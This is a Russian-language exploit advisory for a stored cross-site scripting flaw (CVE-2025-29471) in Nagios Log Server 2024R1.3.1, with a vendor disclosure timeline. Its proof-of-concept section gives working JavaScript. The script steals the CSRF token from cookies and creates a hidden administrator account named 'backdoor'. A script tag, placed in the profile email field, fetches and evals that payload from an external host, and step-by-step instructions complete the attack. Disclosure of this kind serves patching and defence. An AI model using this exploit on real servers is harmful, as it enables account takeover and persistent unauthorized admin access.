XSS-уязвимость с хранением в Nagios Log Server (повышение привилегий до администратора)

▶️ Демонстрация PoC

Дата: 2025-04-02

Автор эксплойта: Seth Kraft

Домашняя страница вендора: https://www.nagios.com/

Журнал изменений вендора: https://www.nagios.com/changelog/#log-server

Ссылка на ПО: https://assets.nagios.com/downloads/nagios-log-server/versions.php

Затронутые версии: `2024R1.3.1` и ниже

Протестировано на: `Nagios Log Server 2024R1.3.1` (стандартная конфигурация, Ubuntu 20.04)

CWE-ID: `CWE-79`

Базовая оценка: 8.3 (Высокая)

Векторная строка: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H`

Тип: Межсайтовый скриптинг с хранением (XSS), повышение привилегий

Авторизация

Только для целей авторизованного тестирования и исследований. Не тестируйте и не эксплуатируйте эту уязвимость на системах, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения.

Описание:

Уязвимость XSS с хранением в Nagios Log Server 2024R1.3.1 позволяет пользователю с низкими привилегиями внедрить вредоносный JavaScript в поле 'email' своего профиля.

Когда администратор просматривает журналы аудита, выполняется полезная нагрузка, что приводит к повышению привилегий через создание неавторизованной учетной записи администратора.

Доказательство концепции

Разместите полезную нагрузку xss.js на вашем внешнем сервере со следующим содержимым. GitHub отлично подходит.

Обновите <target-ip> на IP/имя хоста целевого Nagios Log Server.

(function() {
  console.log("🔥[XSS] Payload Executing...🔥");

  var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
  if (!csrfTokenMatch) return;
  var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
  console.log("[XSS] CSRF Token:", csrfToken);

  var requestBody = "csrf_ls=" + csrfToken +
    "&name=backdoor" +
    "&[email protected]" +
    "&username=backdoor" +
    "&password=Password123!" +
    "&password2=Password123!" +
    "&auth_type=admin" +
    "&apiaccess=1" +
    "&language=en_US" +
    "&account_type=local";

  fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: requestBody
  })
  .then(response => response.text())
  .then(function(data) {
    console.log("🔥[XSS] User Created Successfully!🔥");
    console.log(data);
  })
  .catch(console.error);
})();

Войдите в Nagios Log Server как стандартный (не административный) пользователь.
Перейдите к конечной точке обновления профиля:

http://<target-ip>/nagioslogserver/profile/update
Внедрите следующую полезную нагрузку в поле email. Обновите строку fetch, указав URL, где хранится xss.js.

<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
  .then(response => response.text())
  .then(scriptText => eval(scriptText))
  .catch(console.error);
</script>

Дождитесь, пока администратор просмотрит журналы аудита. JavaScript выполнится, создав новую учетную запись администратора:

Username: backdoor

Password: Password123!

Войдите как backdoor с полным доступом администратора в Nagios Log Server.

График раскрытия информации

2025-02-07: Исследователь сообщил об уязвимости в Nagios
2025-02-14: Nagios подтвердил получение отчета безопасности
2025-03-03: Исследователь запросил обновление от Nagios
2025-03-10: Исследователь запросил обновление от Nagios
2025-03-17: Nagios подтверждает, что уязвимость исправлена, и вскоре планируется выпустить исправление
2025-03-19: Nagios выпускает Nagios Log Server 2024R2
2025-03-27: Исследователь протестировал и подтвердил, что Nagios Log Server 2024R2 устраняет уязвимость XSS с хранением, и уведомил Nagios
2025-04-01: MITRE резервирует CVE-2025-29471 для этой уязвимости XSS с хранением, но детали остались неопубликованными из-за отсутствия публичного уведомления безопасности от вендора
2025-04-09: Nagios выпускает дополнительное обновление к исправлению 2024R2 (2024R1.3.2), перенося исправление уязвимости XSS с хранением на ветку 2024R1
2025-04-15: CVE-2025-29471 был официально опубликован

Отказ от ответственности

Эта работа была выполнена вне моей занятости и отражает мои личные усилия в исследованиях кибербезопасности.

CVE-2025-29471

Популярное